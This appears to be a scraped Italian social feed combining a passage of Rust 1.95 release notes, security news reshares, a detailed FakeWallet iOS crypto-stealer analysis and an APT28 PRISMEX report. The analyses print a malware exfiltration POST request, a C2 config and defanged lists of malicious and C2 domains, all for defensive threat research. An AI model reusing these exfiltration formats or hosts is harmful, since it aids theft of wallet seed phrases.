Rust 1.95 stabilizza gli if-let guard all’interno delle espressioni match, costruendo sulle let chain introdotte in Rust 1.88. Un guard in un match è la condizione if che può seguire un pattern. Finora, questa condizione doveva essere un’espressione booleana semplice. Ora si può usare if let per abbinare pattern aggiuntivi direttamente nella guardia:

fn process(value: Option<Result<i32, String>>) {
    match value {
        Some(x) if let Ok(y) = x => {
            println!("Valore ottenuto: {}", y);
        }
        Some(Err(ref e)) => {
            println!("Errore: {}", e);
        }
        None => {
            println!("Nessun valore");
        }
    }
}

Questo permette di scrivere logica di pattern matching più complessa senza ricorrere a blocchi match annidati. Un caso d’uso pratico è la validazione combinata di metodo HTTP e corpo della richiesta:
fn handle_request(req: &Request) -> Response {
    match req.method() {
        Method::POST if let Ok(body) = serde_json::from_str::<Payload>(req.body()) => {
            process_payload(body)
        }
        Method::POST => {
            Response::bad_request("Payload JSON non valido")
        }
        _ => {
            Response::method_not_allowed()
        }
    }
}

Nota importante sull’esaustività: il compilatore non tiene conto dei pattern negli if-let guard per il controllo di esaustività (exhaustiveness checking). Questo significa che il compilatore non avvertirà se un pattern nell’if-let guard è irraggiungibile. Occorre quindi prestare attenzione quando si usano questi costrutti in match che devono essere esaustivi per correttezza.

Nuove API per Vec, VecDeque e atomici

push_mut e push_back_mut: riferimenti mutabili post-inserimento


Una delle aggiunte più pratiche riguarda i metodi push_mut e varianti per Vec e VecDeque. Questi metodi inseriscono un elemento e restituiscono immediatamente un riferimento mutabile all’elemento appena inserito, eliminando il doppio accesso che prima era necessario:

// Prima: due operazioni separate
let mut v: Vec<String> = Vec::new();
v.push(String::new());
let last = v.last_mut().unwrap(); // secondo accesso necessario
last.push_str("hello");

// Ora con push_mut: un unico accesso, più efficiente
let mut v: Vec<String> = Vec::new();
let elem = v.push_mut(String::new());
elem.push_str("hello"); // riferimento diretto all'elemento appena inserito

Metodi analoghi (push_back_mut, push_front_mut) sono disponibili anche su VecDeque, utile per code e buffer circolari.

update e try_update sugli atomici


I tipi atomici (AtomicUsize, AtomicBool, AtomicI32, ecc.) guadagnano i metodi update e try_update per semplificare i pattern read-modify-write senza dover scrivere manualmente il loop CAS (Compare-And-Swap):

use std::sync::atomic::{AtomicUsize, Ordering};

let counter = AtomicUsize::new(0);

// Incrementa atomicamente, restituisce il vecchio valore
let old = counter.update(Ordering::SeqCst, |x| x + 1);
println!("Valore precedente: {}", old);

// try_update: permette di fallire condizionalmente
// (ritorna Err se la chiusura restituisce None)
let result = counter.try_update(Ordering::SeqCst, |x| {
    if x < 100 { Some(x + 1) } else { None }
});

match result {
    Ok(old_val) => println!("Aggiornato da {}", old_val),
    Err(_) => println!("Limite raggiunto, nessun aggiornamento"),
}

Questi metodi gestiscono internamente il retry loop in caso di contesa tra thread, rendendo il codice più leggibile e meno soggetto a errori.

Stabilizzazioni in const context


Rust 1.95 estende il supporto ai const context per alcune API già stabili, consentendo un uso più ampio della valutazione a compile-time:

  • fmt::from_fn ora utilizzabile in contesti const
  • Metodi di ControlFlow ora const-stabili
  • Nuovi metodi unsafe per puntatori: as_ref_unchecked e as_mut_unchecked
  • Layout::dangling_ptr per manipolazione avanzata della memoria in allocatori custom


Breaking change: JSON target spec non più supportata su stable


Rust 1.95 rimuove il supporto alle specifiche di target in formato JSON sul canale stable. Questa funzionalità era già effettivamente limitata al canale nightly (costruire core richiedeva già nightly), quindi l’impatto pratico è minimo per la maggior parte dei progetti. Chi usa target custom non standard dovrà assicurarsi di usare il canale nightly o di migrare a definizioni di target ufficialmente supportate.

Come aggiornare


Per aggiornare Rust all’ultima versione stabile, basta eseguire:

rustup update stable

Per verificare la versione installata:
rustc --version
# rustc 1.95.0 (xxxxxxxx 2026-04-16)

Conclusioni


Rust 1.95.0 è una release solida che porta miglioramenti trasversali all’ergonomia del linguaggio. cfg_select! riduce la dipendenza da crate esterni per il codice condizionale, gli if-let guard aumentano l’espressività del pattern matching, e le nuove API per Vec e atomici semplificano pattern comuni nella gestione dello stato condiviso in contesti concorrenti.

Nel complesso, questa release conferma la direzione del progetto Rust: migliorare l’ergonomia senza compromettere la sicurezza, incorporando nella libreria standard soluzioni che prima richiedevano crate esterni.

Fonte: Announcing Rust 1.95.0 — The Rust Programming Language Blog


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Rubati 292 milioni in pochi minuti: un hacker sconosciuto ha colpito il protocollo Kelp DAO

📌 Link all'articolo : redhotcyber.com/post/rubati-29…

A cura di Bajram Zeqiri

#redhotcyber #news #cryptovalute #hacking #cybersecurity #protocolloKelpDAO #bridge #token

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Omnistealer Malware Uses Blockchain Permanence to Host Unremovable Payloads, Compromising 300,000 Credentials
#CyberSecurity
securebulletin.com/omnistealer…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Russia's Defense Ministry posted a list of companies across Europe that are reportedly linked to the production of the drones Ukraine fires at Russia. According to Russian Security Council Deputy Chairman Medvedev, these sites are "potential targets." t.me/mod_russia/62686

reshared this

The global AI race deconstructed


The media in this post is not displayed to visitors. To view it, please log in.

The global AI race deconstructed
IT'S MONDAY, AND THIS IS DIGITAL POLITICS. I'm Mark Scott, and with all that's going on with the United States government and Anthropic, this interview of Dario Amodei in the Financial Times' 'Lunch with the FT' series is worth a read.

— Here are the four policy trends from Stanford's latest annual analysis of the global artificial intelligence industry.

— The European Union has a new online safety strategy: kids and online marketplaces.

— New York, California and Texas are leading the charge among US states to pass digital rules.

Let's get started:



digitalpolitics.co/newsletter0…

Fluidic Contact Lens Treats Glaucoma


The media in this post is not displayed to visitors. To view it, please log in.

We’ve always been interested in fluidic computers, a technique that uses moving fluids to perform logic operations. Now, Spectrum reports that researchers have developed an electronics-free contact lens that monitors glaucoma and can even help treat it.

The lens is made entirely of polymer and features a microfluidic sensor that can monitor eye pressure in real time. It also has pressure-activated drug reservoirs that dispense medicine when pressure exceeds a fixed threshold. You can see Spectrum’s video on the device below.

This isn’t the first attempt to treat glaucoma, which affects more than 80 million people, with a contact lens. In 2016, Triggerfish took a similar approach, but it used electronic components in the lens, which poses problems for manufacturing and for people wearing them.

Naturally, the device depends on 3D printed molds to create channels and reservoirs in the lens. A special silk sponge in the reservoirs can absorb up to 2,700 times its weight. One sponge holds a red fluid that is forced by pressure into a serpentine microchannel. A phone app uses a neural network to convert the image of the red fluid into a pressure reading.

Two more sponges hold drugs that release at a given pressure determined by the width of the associated microchannel. This allows the possibility of increasing the dose at a higher pressure or even delivering two drugs at different pressure levels.

It is fairly hard to hack your own contact lenses, although we’ve seen it at least once. But smart contacts are not as rare as you might think.

youtube.com/embed/i9fpEnzbt54?…


hackaday.com/2026/04/20/fluidi…

FakeWallet crypto stealer spreading through iOS apps in the App Store


The media in this post is not displayed to visitors. To view it, please log in.

In March 2026, we uncovered more than twenty phishing apps in the Apple App Store masquerading as popular crypto wallets. Once launched, these apps redirect users to browser pages designed to look similar to the App Store and distributing trojanized versions of legitimate wallets. The infected apps are specifically engineered to hijack recovery phrases and private keys. Metadata from the malware suggests this campaign has been flying under the radar since at least the fall of 2025.

We’ve seen this happen before. Back in 2022, ESET researchers spotted compromised crypto wallets distributed through phishing sites. By abusing iOS provisioning profiles to install malware, attackers were able to steal recovery phrases from major hot wallets like Metamask, Coinbase, Trust Wallet, TokenPocket, Bitpie, imToken, and OneKey. Fast forward four years, and the same crypto-theft scheme is gaining momentum again, now featuring new malicious modules, updated injection techniques, and distribution through phishing apps in the App Store.

Kaspersky products detect this threat as HEUR:Trojan-PSW.IphoneOS.FakeWallet.* and HEUR:Trojan.IphoneOS.FakeWallet.*.

Technical details

Background


This past March, we noticed a wave of phishing apps topping the search results in the Chinese App Store, all disguised as popular crypto wallets. Because of regional restrictions, many official crypto wallet apps are currently unavailable to users in China, specifically if they have their Apple ID set to the Chinese region. Scammers are jumping on this opportunity. They’ve launched fake apps using icons that mirror the originals and names with intentional typos – a tactic known as typosquatting – to slip past App Store filters and increase their chances of deceiving users.

App Store search results for "Ledger Wallet" (formerly Ledger Live)
App Store search results for “Ledger Wallet” (formerly Ledger Live)

In some instances, the app names and icons had absolutely nothing to do with cryptocurrency. However, the promotional banners for these apps claimed that the official wallet was “unavailable in the App Store” and directed users to download it through the app instead.

Promotional screenshots from apps posing as the official TokenPocket app
Promotional screenshots from apps posing as the official TokenPocket app

During our investigation, we identified 26 phishing apps in the App Store mimicking the following major wallets:

  • MetaMask
  • Ledger
  • Trust Wallet
  • Coinbase
  • TokenPocket
  • imToken
  • Bitpie

We’ve reported all of these findings to Apple, and several of the malicious apps have already been pulled from the store.

We also identified several similar apps that didn’t have any phishing functionality yet, but showed every sign of being linked to the same threat actors. It’s highly likely that the malicious features were simply waiting to be toggled on in a future update.

The phishing apps featured stubs – functional placeholders that mimicked a legitimate service – designed to make the app appear authentic. The stub could be a game, a calculator, or a task planner.

However, once you launched the app, it would open a malicious link in your browser. This link kicks off a scheme leveraging provisioning profiles to install infected versions of crypto wallets onto the victim’s device. This technique isn’t exclusive to FakeWallet; other iOS threats, like SparkKitty, use similar methods. These profiles come in a few flavors, one of them being enterprise provisioning profiles. Apple designed these so companies could create and deploy internal apps to employees without going through the App Store or hitting device limits. Enterprise provisioning profiles are a favorite tool for makers of software cracks, cheats, online casinos, pirated mods of popular apps, and malware.

An infected wallet and its corresponding profile used for the installation process
An infected wallet and its corresponding profile used for the installation process

The attackers have churned out a wide variety of malicious modules, each tailored to a specific wallet. In most cases, the malware is delivered via a malicious library injection, though we’ve also come across builds where the app’s original source code was modified.

To embed the malicious library, the hackers injected load commands into the main executable. This is a standard trick to expand an app’s functionality without a rebuild. Once the library is loaded, the dyld linker triggers initialization functions, if present in the library. We’ve seen this implemented in different ways: sometimes by adding a load method to specific Objective-C classes, and other times through standard C++ functions.

The logic remains the same across all initialization functions: the app loads or initializes its configuration, if available, and then swaps out legitimate class methods for malicious versions. For instance, we found a malicious library named libokexHook.dylib embedded in a modified version of the Coinbase app. It hijacks the original viewDidLoad method within the RecoveryPhraseViewController class, the part of the code responsible for the screen where the user enters their recovery phrase.

A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen
A code snippet where a malicious initialization function hijacks the original viewDidLoad method of the class responsible for the recovery phrase screen

The compromised viewDidLoad method works by scanning the screen in the current view controller (the object managing that specific app screen) to hunt for mnemonics – the individual words that make up the seed phrase. Once it finds them, it extracts the data, encrypts it, and beams it back to a C2 server. All these malicious modules follow a specific process to exfiltrate data:

  • The extracted mnemonics are stringed together.
  • This string is encrypted using RSA with the PKCS #1 scheme.
  • The encrypted data is then encoded into Base64.
  • Finally, the encoded string – along with metadata like the malicious module type, the app name, and a unique identification code – is sent to the attackers’ server.

The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews
The malicious viewDidLoad method at work, scraping seed phrase words from individual subviews

In this specific variant, the C2 server address is hardcoded directly into the executable. However, in other versions we’ve analyzed, the Trojan pulls the address from a configuration file tucked away in the app folder.

The POST request used to exfiltrate those encrypted mnemonics looks like this:
POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encoded_encrypted_mnemonics>&code=10001&ciyuType=1&wallet=ledger
The version of the malicious module targeting Trust Wallet stands out from the rest. It skips the initialization functions entirely. Instead, the attackers injected a custom executable section, labeled __hook, directly into the main executable. They placed it right before the __text section, specifically in the memory region usually reserved for load commands in the program header. The first two functions in this section act as trampolines to the dlsym function and the mnemonic validation method within the original WalletCore class. These are followed by two wrapper functions designed to:

  • Resolve symbols dataInit or processX0Parameter from the malicious library
  • Hand over control to these newly discovered functions
  • Execute the code for the original methods that the wrapper was built to replace

The content of the embedded __hook section, showing the trampolines and wrapper functions
The content of the embedded __hook section, showing the trampolines and wrapper functions

These wrappers effectively hijack the methods the app calls whenever a user tries to restore a wallet using a seed phrase or create a new one. By following the same playbook described earlier, the Trojan scrapes the mnemonics directly from the corresponding screens, encrypts them, and beams them back to the C2 server.

The Ledger wallet malicious module


The modules we’ve discussed so far were designed to rip recovery phrases from hot wallets – apps that store and use private keys directly on the device where they are installed. Cold wallets are a different beast: the keys stay on a separate, offline device, and the app is just a user interface with no direct access to them. To get their hands on those assets, the attackers fall back on old-school phishing.

We found two versions of the Ledger implant, one using a malicious library injection and another where the app’s source code itself was tampered with. In the library version, the malware sneaks in through standard entry points: two Objective-C initialization functions (+[UIViewController load] and +[UIView load]) and a function named entry located in the __mod_init_functions section. Once the malicious library is loaded into the app’s memory, it goes to work:

  • The entry function loads a configuration file from the app directory, generates a user UUID, and attempts to send it to the server specified by the login-url The config file looks like this:
    {
    "url": "hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php", // C2 for mnemonics
    "code": "10001", // special code "login-url": "hxxps://xxx[.]com",
    "login-code": "88761"
    }
  • Two other initialization functions, +[UIViewController load] and +[UIView load], replace certain methods of the original app classes with their malicious payload.
  • As soon as the root screen is rendered, the malware traverses the view controller hierarchy and searches for a child screen named add-account-cta or one containing a $ sign:
    • If it is the add-account-cta screen, the Trojan identifies the button responsible for adding a new account and matches its text to a specific language. The Trojan uses this to determine the app’s locale so it can later display a phishing alert in the appropriate language. It then prepares a phishing notification whose content will require the user to pass a “security check”, and stores it in an object of GlobalVariables
    • If it’s a screen with a $ sign in its name, the malware scans its content using a regular expression to extract the wallet balance and attempt to send this balance information to a harmless domain specified in the configuration as login-url. We assume this is outdated testing functionality left in the code by mistake, as the specified domain is unrelated to the malware.


  • Then, when any screen is rendered, one of the malicious handlers checks its name. If it is the screen responsible for adding an account or buying/selling cryptocurrency, the malware displays the phishing notification prepared earlier. Clicking on this notification opens a WebView window, where the local HTML file html serves as the page to display.

The verify.html phishing page prompts the user to enter their mnemonics. The malware then checks the seed phrase entered by the user against the BIP-39 dictionary, a standard that uses 2048 mnemonic words to generate seed phrases. Additionally, to lower the victim’s guard, the phishing page is designed to match the app’s style and even supports autocomplete for mnemonics to project quality. The seed phrase is passed to an Objective-C handler, which merges it into a single string, encrypts it using RSA with the PKCS #1 scheme, and sends it to the C2 server along with additional data – such as the malicious module type, app name, and a specific config code – via an HTTP POST request to the /ledger/ios/Rsakeycatch.php endpoint.

The Objective-C handler responsible for exfiltrating mnemonics
The Objective-C handler responsible for exfiltrating mnemonics

The second version of the infected Ledger wallet involves changes made directly to the main code of the app written in React Native. This approach eliminates the need for platform-specific libraries and allows attackers to run the same malicious module across different platforms. Since the Ledger Live source code is publicly available, injecting malicious code into it is a straightforward task for the attackers.
The infected build includes two malicious screens:

  • MnemonicVerifyScreen, embedded in PortfolioNavigator
  • PrivateKeyVerifyScreen, embedded in MyLedgerNavigator

In the React Native ecosystem, navigators handle switching between different screens. In this case, these specific navigators are triggered when the Portfolio or Device List screens are opened. In the original app, these screens remain inaccessible until the user pairs their cold wallet with the application. This same logic is preserved in the infected version, effectively serving as an anti-debugging technique: the phishing window only appears during a realistic usage scenario.

Phishing window for seed phrase verification
Phishing window for seed phrase verification

The MnemonicVerifyScreen appears whenever either of those navigators is activated – whether the user is checking their portfolio or viewing info about a paired device. The PrivateKeyVerifyScreen remains unused – it is designed to handle a private key rather than a mnemonic, specifically the key generated by the wallet based on the entered seed phrase. Since Ledger Live doesn’t give users direct access to private keys or support them for importing wallets, we suspect this specific feature was actually intended for a different app.

Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup
Decompiled pseudocode of an anonymous malicious function setting up the configuration during app startup

Once a victim enters their recovery phrase on the phishing page and hits Confirm, the Trojan creates a separate thread to handle the data exfiltration. It tracks the progress of the transfer by creating three files in the app’s working directory:

  • verify-wallet-status.json tracks the current status and the timestamp of the last update.
  • verify-wallet-config.json stores the C2 server configuration the malware is currently using.
  • verify-wallet-pending.json holds encrypted mnemonics until they’re successfully transmitted to the C2 server. Then the clearPendingMnemonicJob function replaces the contents of the file with an empty JSON dictionary.

Next, the Trojan encrypts the captured mnemonics and sends the resulting value to the C2 server. The data is encrypted using the same algorithm described earlier (RSA encryption followed by Base64 encoding). If the app is closed or minimized, the Trojan checks the status of the previous exfiltration attempt upon restart and resumes the process if it hasn’t been completed.

Decompiled pseudocode for the submitWalletSecret function
Decompiled pseudocode for the submitWalletSecret function

Other distribution channels, platforms, and the SparkKitty link


During our investigation, we discovered a website mimicking the official Ledger site that hosted links to the same infected apps described above. While we’ve only observed one such example, we’re certain that other similar phishing pages exist across the web.

A phishing website hosting links to infected Ledger apps for both iOS and Android
A phishing website hosting links to infected Ledger apps for both iOS and Android

We also identified several compromised versions of wallet apps for Android, including both previously undiscovered samples and known ones. These instances were distributed through the same malicious pages; however, we found no traces of them in the Google Play Store.

One additional detail: some of the infected apps also contained a SparkKitty module. Interestingly, these modules didn’t show any malicious activity on their own, with mnemonics handled exclusively by the FakeWallet modules. We suspect SparkKitty might be present for one of two reasons: either the authors of both malicious campaigns are linked and forgot to remove it, or it was embedded by different attackers and is currently inactive.

Victims


Since nearly all the phishing apps were exclusive to the Chinese App Store, and the infected wallets themselves were distributed through Chinese-language phishing pages, we can conclude that this campaign primarily targets users in China. However, the malicious modules themselves have no built-in regional restrictions. Furthermore, since the phishing notifications in some variants automatically adapt to the app’s language, users outside of China could easily find themselves in the crosshairs of these attackers.

Attribution


According to our data, the threat actor behind this campaign may be linked to the creators of the SparkKitty Trojan. Several details uncovered during our research point to this connection:

  • Some infected apps contained SparkKitty modules alongside the FakeWallet code.
  • The attackers behind both campaigns appear to be native Chinese speakers, as the malicious modules frequently use log messages in Chinese.
  • Both campaigns distribute infected apps via phishing pages that mimic the official App Store.
  • Both campaigns specifically target victims’ cryptocurrency assets.


Conclusion


Our research shows that the FakeWallet campaign is gaining momentum by employing new tactics, ranging from delivering payloads via phishing apps published in the App Store to embedding themselves into cold wallet apps and using sophisticated phishing notifications to trick users into revealing their mnemonics. The fact that these phishing apps bypass initial filters to appear at the top of App Store search results can significantly lower a user’s guard. While the campaign is not exceptionally complex from a technical standpoint, it poses serious risks to users for several reasons:

  • Hot wallet attacks: the malware can steal crypto assets during the wallet creation or import phase without any additional user interaction.
  • Cold wallet attacks: attackers go to great lengths to make their phishing windows look legitimate, even implementing mnemonic autocomplete to mirror the real user experience and increase their chances of a successful theft.
  • Investigation challenges: the technical restrictions imposed by iOS and the broader Apple ecosystem make it difficult to effectively detect and analyze malicious software directly on a device.


Indicators of compromise


Infected cryptowallet IPA file hashes
4126348d783393dd85ede3468e48405d
b639f7f81a8faca9c62fd227fef5e28c
d48b580718b0e1617afc1dec028e9059
bafba3d044a4f674fc9edc67ef6b8a6b
79fe383f0963ae741193989c12aefacc
8d45a67b648d2cb46292ff5041a5dd44
7e678ca2f01dc853e85d13924e6c8a45

Malicious dylib file hashes
be9e0d516f59ae57f5553bcc3cf296d1
fd0dc5d4bba740c7b4cc78c4b19a5840
7b4c61ff418f6fe80cf8adb474278311
8cbd34393d1d54a90be3c2b53d8fc17a
d138a63436b4dd8c5a55d184e025ef99
5bdae6cb778d002c806bb7ed130985f3

Malicious React Native application hash
84c81a5e49291fe60eb9f5c1e2ac184b

Phishing HTML for infected Ledger Live app file hash
19733e0dfa804e3676f97eff90f2e467

Malicious Android file hashes
8f51f82393c6467f9392fb9eb46f9301
114721fbc23ff9d188535bd736a0d30e

Malicious download links
hxxps://www.gxzhrc[.]cn/download/
hxxps://appstoreios[.]com/DjZH?key=646556306F6Q465O313L737N3332939Y353I830F31
hxxps://crypto-stroe[.]cc/
hxxps://yjzhengruol[.]com/s/3f605f
hxxps://6688cf.jhxrpbgq[.]com/6axqkwuq
hxxps://139.180.139[.]209/prod-api/system/confData/getUserConfByKey/
hxxps://xz.apps-store[.]im/s/iuXt?key=646Y563Y6F6H465J313X737U333S9342323N030R34&c=
hxxps://xz.apps-store[.]im/DjZH?key=646B563L6F6N4657313B737U3436335E3833331737
hxxps://xz.apps-store[.]im/s/dDan?key=646756376F6A465D313L737J333993473233038L39&c=
hxxps://xz.apps-store[.]im/CqDq?key=646R563V6F6Y465K313J737G343C3352383R336O35
hxxps://ntm0mdkzymy3n.oukwww[.]com/7nhn7jvv5YieDe7P?0e7b9c78e=686989d97cf0d70346cbde2031207cbf
hxxps://ntm0mdkzymy3n.oukwww[.]com/jFms03nKTf7RIZN8?61f68b07f8=0565364633b5acdd24a498a6a9ab4eca
hxxps://nziwytu5n.lahuafa[.]com/10RsW/mw2ZmvXKUEbzI0n
hxxps://zdrhnmjjndu.ulbcl[.]com/7uchSEp6DIEAqux?a3f65e=417ae7f384c49de8c672aec86d5a2860
hxxps://zdrhnmjjndu.ulbcl[.]com/tWe0ASmXJbDz3KGh?4a1bbe6d=31d25ddf2697b9e13ee883fff328b22f
hxxps://api.npoint[.]io/153b165a59f8f7d7b097
hxxps://mti4ywy4.lahuafa[.]com/UVB2U/mw2ZmvXKUEbzI0n
hxxps://mtjln.siyangoil[.]com/08dT284P/1ZMz5Xmb0EoQZVvS5
hxxps://odm0.siyangoil[.]com/TYTmtV8t/JG6T5nvM1AYqAcN
hxxps://mgi1y.siyangoil[.]com/vmzLvi4Dh/1Dd0m4BmAuhVVCbzF
hxxps://mziyytm5ytk.ahroar[.]com/kAN2pIEaariFb8Yc
hxxps://ngy2yjq0otlj.ahroar[.]com/EpCXMKDMx1roYGJ
hxxps://ngy2yjq0otlj.ahroar[.]com/17pIWJfr9DBiXYrSb

C2 addresses
hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
hxxps://helllo2025[.]com/api/open/postByTokenpocket
hxxps://sxsfcc[.]com/api/open/postByTokenpocket
hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
hxxps://api.dc1637[.]xyz


securelist.com/fakewallet-cryp…

#1

Le cyberladies italiane tra talento e disparità


@Informatica (Italy e non Italy)
La terza survey Women for Security delinea un settore ad alta specializzazione ma ancora segnato da forti disparità. Crescono i ruoli apicali e la multidisciplinarità, pur persistendo criticità su retribuzioni e progressione di carriera. Valorizzare le cyberladies è una leva strategica fondamentale per colmare il cyber skill gap

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Fortinet FortiClientEMS Under Active Attack: Critical CVE-2026-35616 (CVSS 9.1) Added to CISA KEV Catalog
#CyberSecurity
securebulletin.com/fortinet-fo…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

BLACKWATER Ransomware Group Debuts with 3.3 TB Heist from Turkey’s Largest Hospital Network
#CyberSecurity
securebulletin.com/blackwater-…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Confirms April 2026 Breach: ShinyHunters Accessed Source Code, API Keys, and Employee Data via AI Tool Compromise
#CyberSecurity
securebulletin.com/vercel-conf…
Cybersecurity & cyberwarfare ha ricondiviso questo.

Third-party AI hack triggers #Vercel breach, internal environments accessed
securityaffairs.com/191031/dat…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2
#CyberSecurity
insicurezzadigitale.com/prisme…


PRISMEX: la suite di cyberspionaggio di APT28 che prende di mira Ucraina e alleati NATO con steganografia e cloud C2


Si parla di:
Toggle


Una suite di malware inedita, battezzata PRISMEX, porta la firma del GRU russo e punta diritto al cuore delle reti militari e governative legate al conflitto in Ucraina. La campagna combina steganografia proprietaria, COM hijacking e abuso di cloud storage cifrato per raggiungere i propri obiettivi restando praticamente invisibile agli strumenti di difesa tradizionali.

APT28 nel 2026: evoluzione di una minaccia permanente


APT28 — tracciato anche come Forest Blizzard, Fancy Bear e Pawn Storm — è l’unità cyber attribuita al GRU, l’intelligence militare russa. Operativo da oltre vent’anni, il gruppo ha all’attivo compromissioni di altissimo profilo: dal Partito Democratico USA nel 2016 al WADA, passando per decine di istituzioni europee e governi NATO. Ciò che distingue APT28 è la capacità di weaponizzare vulnerabilità ancora prima della loro divulgazione pubblica e di costruire toolchain modulari estremamente evasive.

La campagna documentata tra febbraio e aprile 2026 da Trend Micro, Zscaler ThreatLabz e Trellix — denominata Operation Neusploit — rappresenta un ulteriore salto qualitativo in questa direzione. L’analisi delle infrastrutture mostra che i preparativi erano in corso da settembre 2025, con exploitation attiva dal gennaio 2026.

I bersagli: una mappa geopolitica della catena logistica NATO


La selezione dei target riflette la precisa intelligence operativa del GRU. La campagna ha colpito organi esecutivi centrali ucraini, servizi di difesa, protezione civile e servizi idrometeorologici; operatori ferroviari polacchi coinvolti nella logistica degli aiuti militari; settore marittimo e trasportistico in Romania, Slovenia e Turchia; partner della filiera di approvvigionamento di munizioni in Slovacchia e Repubblica Ceca; unità droni nelle regioni di Kyiv e Kharkiv. Il denominatore comune è la catena di supporto alle operazioni militari ucraine — la stessa che il Cremlino ha interesse a monitorare e potenzialmente compromettere.

La catena di attacco: due zero-day, un RTF e un server WebDAV


Il vettore iniziale è uno spear-phishing particolarmente contestualizzato: email con lure tematici su addestramenti militari, allerte meteorologiche o contrabbando di armi — argomenti credibili per i destinatari designati. L’allegato è un documento RTF che sfrutta CVE-2026-21509, una vulnerabilità di bypass delle funzionalità di sicurezza di Microsoft Office.

All’apertura, il sistema vittima viene forzato a connettersi a un server WebDAV controllato dagli attaccanti, da cui viene recuperato automaticamente un file LNK malevolo. Questo sfrutta CVE-2026-21513 per bypassare le protezioni del browser ed eseguire silenziosamente il payload successivo. La tempistica è rivelatrice: l’infrastruttura per CVE-2026-21509 era operativa il 12 gennaio 2026, due settimane prima della divulgazione pubblica del 26 gennaio. La patch per CVE-2026-21513 è arrivata il 10 febbraio, lasciando una finestra di undici giorni da zero-day sfruttabile.

Anatomia di PRISMEX: quattro componenti, un ecosistema invisibile


PRISMEX non è un singolo malware ma una suite modulare di quattro componenti progettate per operare in concerto, ciascuna con un ruolo preciso:

  • PrismexSheet: dropper Excel con macro VBA che estrae payload nascosti nel file tramite steganografia. Mostra un documento decoy convincente (inventari droni, listini prezzi militari) per non destare sospetti e stabilisce persistenza via COM hijacking.
  • PrismexDrop: dropper nativo che prepara l’ambiente per lo sfruttamento successivo utilizzando scheduled task e COM DLL hijacking abbinati al riavvio di explorer.exe per la persistenza tra i riavvii.
  • PrismexLoader: proxy DLL che esegue codice malevolo mascherandosi da libreria legittima. Impiega la tecnica steganografica proprietaria “Bit Plane Round Robin” per estrarre payload nascosti all’interno di immagini apparentemente normali, con esecuzione interamente in memoria per minimizzare le tracce su disco.
  • PrismexStager: implant .NET basato sul framework Covenant, fortemente offuscato con nomi di funzione randomizzati. Comunica con i server C2 abusando di Filen.io, un servizio di cloud storage cifrato legittimo, rendendo il traffico malevolo indistinguibile da normali operazioni cloud.

In alcuni scenari di attacco è stato rilevato anche il deployment di MiniDoor, uno stealer specificamente progettato per l’esfiltrazione di email da Microsoft Outlook — un indicatore diretto del tipo di intelligence ricercata.

Living-off-the-Cloud: Filen.io come infrastruttura C2


L’abuso di Filen.io come canale C2 rappresenta una raffinata applicazione del paradigma Living-off-the-Cloud (LotC). Filen.io offre storage cifrato end-to-end, rendendo l’ispezione del contenuto del traffico particolarmente difficile anche per soluzioni avanzate di network detection. I sistemi di filtraggio basati su reputazione IP o domain non rilevano anomalie poiché il dominio è genuinamente legittimo e ampiamente utilizzato. Questa strategia, già osservata con OneDrive, Google Drive e Dropbox in campagne APT precedenti, viene qui applicata con un servizio meno noto e con cifratura robusta — un ostacolo aggiuntivo per i Blue Team.

Indicatori di compromissione (IOC)

# Domini usati per hosting/delivery degli exploit Office
wellnessmedcare[.]org
wellnesscaremed[.]com
freefoodaid[.]com
longsauce[.]com

# CVE sfruttate nella campagna
CVE-2026-21509 - Microsoft Office Security Feature Bypass
  Divulgazione pubblica: 26 gennaio 2026
  Infrastruttura attaccante attiva dal: 12 gennaio 2026

CVE-2026-21513 - Browser Security Feature Bypass
  Prime sample osservate: 30 gennaio 2026
  Patch Microsoft: 10 febbraio 2026 (finestra 0-day: 11 giorni)

# C2 infrastructure
Filen.io (cloud storage legittimo abusato per C2 cifrato)

# Framework C2 utilizzato
Covenant (Grunt implant) tramite PrismexStager

# Tecniche MITRE ATT&CK
T1566.001 - Spearphishing Attachment
T1221   - Template Injection (RTF)
T1574.001 - COM DLL Hijacking (PrismexDrop, PrismexSheet)
T1027.003 - Steganography: Bit Plane Round Robin (PrismexLoader)
T1053.005 - Scheduled Task/Job: Scheduled Task
T1102.002 - Web Service: Bidirectional Communication (Filen.io C2)
T1218.011 - Signed Binary Proxy Execution (Rundll32)

Consigli pratici per i difensori


La campagna PRISMEX evidenzia quanto i modelli di difesa basati su firme statiche e reputazione siano inadeguati contro attori di questo livello. Per i team di sicurezza che operano in settori ad alto rischio è essenziale: applicare immediatamente le patch CVE-2026-21509 e CVE-2026-21513 se non già fatto; monitorare comportamenti anomali di processi legittimi come explorer.exe, regsvr32 e processi COM; implementare regole di detection per COM hijacking e creazione non autorizzata di scheduled task; bloccare o monitorare il traffico verso servizi di cloud storage non approvati aziendalmente (incluso Filen.io); disabilitare le macro VBA nei documenti Office provenienti da fonti esterne tramite Group Policy o Intune; adottare una postura “assume breach” con hunting proattivo su anomalie comportamentali piuttosto che su indicatori statici.


FakeWallet crypto stealer spreading through iOS apps in the App Store


The media in this post is not displayed to visitors. To view it, please log in.

